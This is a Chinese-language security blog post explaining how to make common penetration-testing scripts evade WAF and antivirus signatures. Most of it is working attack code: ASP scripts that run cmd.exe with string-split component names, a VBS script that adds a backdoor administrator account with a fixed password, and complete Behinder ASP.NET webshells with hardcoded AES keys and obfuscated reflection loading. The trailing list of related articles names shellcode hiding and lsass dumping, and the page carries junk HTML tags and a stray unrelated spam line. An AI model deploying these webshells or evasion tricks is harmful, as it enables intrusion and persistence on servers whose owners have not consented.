<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    常用滲透腳本的特征免殺方式

    VSole2022-09-17 09:21:59

    聲明:該公眾號大部分文章來自作者日常學習筆記,也有部分文章是經過作者授權和其他公眾號白名單轉載,未經授權,嚴禁轉載,如需轉載,聯系開白。

    請勿利用文章內的相關技術從事非法測試,如因此產生的一切不良后果與文章作者和本公眾號無關。

    0x01 前言

    我們在滲透測試過程中時常會用到一些腳本,而現在大部分的WAF或殺軟都會根據一些危險組件名、特定字符做為特征來查殺,只要找到其特征,我們可以使用簡單的混淆、拼接等方式來進行免殺。

    以下是筆者在以往測試中遇到過的一些,現在記性不太好,有時想找找不到,煩的很...,先記錄在這里吧!

    0x02 ASP執行命令腳本

    這個腳本會被網站安全狗查殺,特征:Shell.Application,當Wscript.shell組件被卸載不可用時就會提示:[Err] ActiveX 部件不能創建對象,這時可嘗試用這個組件來執行命令。

    <%Set SA = CreateObject("Shell.Application")SA.ShellExecute "cmd.exe"," /c set > C:\NpointSoft\npointhost2.2.0\web\1.txt","C:\NpointSoft\npointhost2.2.0\web","",0%>
    

    這里只需將Shell.Application組件名進行簡單的混淆即可免殺,不過得注意安全狗在進行一次掃描后可能會記錄該文件的MD5值,需重新創建一個文件才不會查殺。

    <%on error resume nextSet SA = CreateObject("She" & "ll.App" & "lication")SA.ShellExecute "C:\windows\system32\cmd.exe"," /c whoami > C:\ProgramData\1.txt","","open",0Response.Write("ok")%>
    

    注:雖然繞過了特征查殺,但【網站防護->行為防護】還是會攔截高危組件的調用和w3wp.exe命令執行等行為,不過這幾個選項在默認安裝時好像只是記錄,并沒有阻止,所以還是可以試一下。

    0x03 ASP掃可讀寫腳本

    這個腳本會被網站安全狗查殺,特征:Scripting.FileSystemObject,當目標主機磁盤權限設置較為嚴格時需要用到這個腳本來查找可讀寫目錄,以下幾種混淆也會被殺。

    "Scripting.FileSystemObject""Script"&"ing.Fil"&"eSyst"&"emObject""sc"&"ript"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t""scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t"
    

    測試過后發現只需將Scripting.FileSystemObject組件名按以下方式混淆下即可免殺,大家也可以自行改變一下位置看下是否也能免殺。

    <%'Response.Buffer = FALSEServer.ScriptTimeOut=999999999Set Fso=server.createobject("scri"&"pt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t") %>[...SNIP...]
    

    0x04 VBS添加用戶腳本

    這個vbs腳本火絨會殺,特征:WSCRIPT.NETWORK,但360并沒有殺。當目標主機上安裝的有360、火絨和金山毒霸時會攔截添加用戶行為,這時可用這個腳本來繞過。

    set wsnetwork=CreateObject("WSCRIPT.NETWORK")os="WinNT://"&wsnetwork.ComputerNameSet ob=GetObject(os)Set oe=GetObject(os&"/Administrators,group")Set od=ob.Create("user","betasec")od.SetPassword "pass!@#!23"od.SetInfoSet of=GetObject(os&"/betasec",user)oe.add os&"/betasec"
    

    這里只需將WSCRIPT.NETWORK組件名進行簡單的混淆即可免殺。

    Const strPassword = "pass!@#!23"Set wsnetwork=CreateObject("WS"&"CR"&"IPT"&"."&"NET"&"WO"&"RK") os="WinNT://"&wsnetwork.ComputerNameSet ob=GetObject(os)Set oe=GetObject(os&"/Administrators,group")Set od=ob.Create("user","betasec")od.SetPassword strPasswordod.SetInfoSet of=GetObject(os&"/betasec",user)oe.add os&"/betasec"
    

    0x05 冰蝎4.0.2-Webshell

    冰蝎4.0.2生成的ASP.NET服務端木馬也會被安全狗查殺,特征為28行的Assembly雖然已被注釋,但還是會被殺,不過我們只需將該特征或整行刪除就能過了。

     //byte[] c=Request.BinaryRead(Request.ContentLength);Assembly.Load(Decrypt(c)).CreateInstance("U").Equals(this);
    

    3.0 ASP.NET Webshell:

    Hello Administrator!WelCome To Tas9er ASP.NET Console!<html></html>{;}Hello Administrator!WelCome To Tas9er ASP.NET Console!<html></html>{;}<%@ImPoRt NaMeSpAce="System.Reflection"%><%Session[System.Text.Encoding.Default.GetString(Convert.FromBase64String("aw=="))]=System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(49) })+System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(54) })+System.Text.Encoding.Default.GetString(Convert.FromBase64String("YWNhY2MwNWFhZmFmNg=="))+System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(55) });%><%Session["gov"]="https://"+"shanghai.g"+"ov.cn";byte[] govn = Encoding.Default.GetBytes/*gov16*/(Session[Convert.ToInt32(System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(48) }))] + ""),govTD = Request.BinaryRead/*govvaVRp0zjPmEG*/(Request.ContentLength);Assembly.Load(new System./*govSeosZ*/Security/*govpUQ02bwEb33d2*/.Cryptography/*govEJfw*/./*govrSARoMWEzC9GI*/RijndaelManaged()/*govFcmLIWqMi029kU*/.CreateDecryptor(govn, govn).TransformFinalBlock/*govXAH*/(govTD, Convert.ToInt32(System.Text.Encoding.Default.GetString(Convert.FromBase64String("MA=="))), govTD.Length))./*govTmO*/CreateInstance(System.Text.Encoding.Default./*govXhGE4u0ypGLhc*/GetString(Convert.FromBase64String("VQ==")))/*govG*/.Equals(this);%><%@ PagE LaNguAge="C#" %>
    

    4.0.2 ASP.NET Webshell:

    <%@ Page Language="C#" %>    <%@Import Namespace="System.Reflection" %>    <script runat="server">
                   private  byte[] Decrypt(byte[] data)        {            string key="e45e329feb5d925b";            data = Convert.FromBase64String(System.Text.Encoding.UTF8.GetString(data));            System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();            aes.Mode = System.Security.Cryptography.CipherMode.ECB;            aes.Key = Encoding.UTF8.GetBytes(key);            aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;            return aes.CreateDecryptor().TransformFinalBlock(data, 0, data.Length);        }        private  byte[] Encrypt(byte[] data)        {            string key = "e45e329feb5d925b";            System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();            aes.Mode = System.Security.Cryptography.CipherMode.ECB;            aes.Key = Encoding.UTF8.GetBytes(key);            aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;            return System.Text.Encoding.UTF8.GetBytes(Convert.ToBase64String(aes.CreateEncryptor().TransformFinalBlock(data, 0, data.Length)));        }
        </script>        <%        //byte[] c=Request.BinaryRead(Request.ContentLength);Assembly.Load(Decrypt(c)).CreateInstance("U").Equals(this);                byte[] c=Request.BinaryRead(Request.ContentLength);            string asname=System.Text.Encoding.ASCII.GetString(new byte[] {0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x52,0x65,0x66,0x6c,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2e,0x41,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79});            Type assembly=Type.GetType(asname);              MethodInfo load = assembly.GetMethod("Load",new Type[] {new byte[0].GetType()});              object obj=load.Invoke(null, new object[]{Decrypt(c)});              MethodInfo create = assembly.GetMethod("CreateInstance",new Type[] { "".GetType()});              string name = System.Text.Encoding.ASCII.GetString(new byte[] { 0x55 });              object pay=create.Invoke(obj,new object[] { name });              pay.Equals(this);        %>
    

    歡迎加入白帽子社區紅隊知識星球,星球內部設立了多個技術版塊,目前涵蓋“WEB安全”、“內網滲透”、“CTF技術區”、“漏洞分析”、“工具分享”五大類,星球內部新設立紅隊專欄成立紅隊全方位知識體系。目前紅隊專欄已有以下三大板塊:【外部打點】【權限維持】【內網滲透】,即將推出【免殺技術】板塊。還可以與嘉賓大佬們接觸,在線答疑、互相探討。

    免殺system
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    之后想到了更完美的辦法
    殺毒測試,兩款殺毒軟件都報毒。思路1、 簡單將shellcode采用aes、base64等方式進行加密。注意此資源文件可放在外部exe加載器中。
    C#內存加載實戰
    2021-12-03 07:37:13
    DemoExe代碼如下:using System;
    前言本篇文章將演示利用隱寫術將 Shellcode 隱寫入 PNG 圖片 RGB 像素中,從而隱藏后門代碼,并進行遠程加載控制目標主機。Invoke-PSImage -Script .\payload.ps1 -Image .\origin.jpg -Out .\shell.png -Web
    0X01起源在攻防演練中通過運行惡意代碼連接C2是最常用的手段,但是由于對抗程度的提升。以360、天擎為代表的殺毒軟件針對信任鏈的檢測,已經變得愈來愈成熟。這里我們可以理解為,攻擊者通過利用"白加黑"這種攻擊方法。當攻擊者通過社工釣魚的手段,使得目標下載惡意的文件到目標自己的計算機上,并點擊運行白文件時,該文件會在運行時執行惡意DLL。
    動態函數PHP中支持一個功能叫 variable function ,變量函數的意思。//最終是system;當一個變量后邊帶括號,那他就被視作一個函數。編譯器會解析出變量的值,然后會去找當前是否存在名為“system()”的函數并執行它。這里就不給實例了,很多案例中都用到了這個特性。也是被瘋狂查殺的特征。回調函數回調函數,簡單來說就是一個函數不是由我直接調用,而是通過另一個函數去調用它。
    在滲透測試中,最常用的方法是通過dump進程lsass.exe,從中獲得明文口令和hash,今天分享兩個轉儲lsass方式,目前親測可過某60 or 某絨。在原理上都是使用API MiniDumpWriteDump,通過comsvcs.dll的導出函數MiniDump實現dump內存。
    一篇靜態的文章
    最近在研究這一塊的知識,說到肯定就逃不過沙箱。對于沙箱的通俗理解就是一個安全的箱子,這個箱子能夠模擬出軟件執行蘇需要的環境(如模擬虛擬機環境),通過hook跳轉到自己的函數進行行為分析。所以我們的后門文件想要更好的躲避軟的查殺,首先肯定要做好反調試才能在對抗軟時后顧無憂。本文基于自己學習過程中的一些知識進行了總結,不足之處還請師傅們提出。
    知識匯總
    2021-08-25 23:11:00
    知識匯總
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类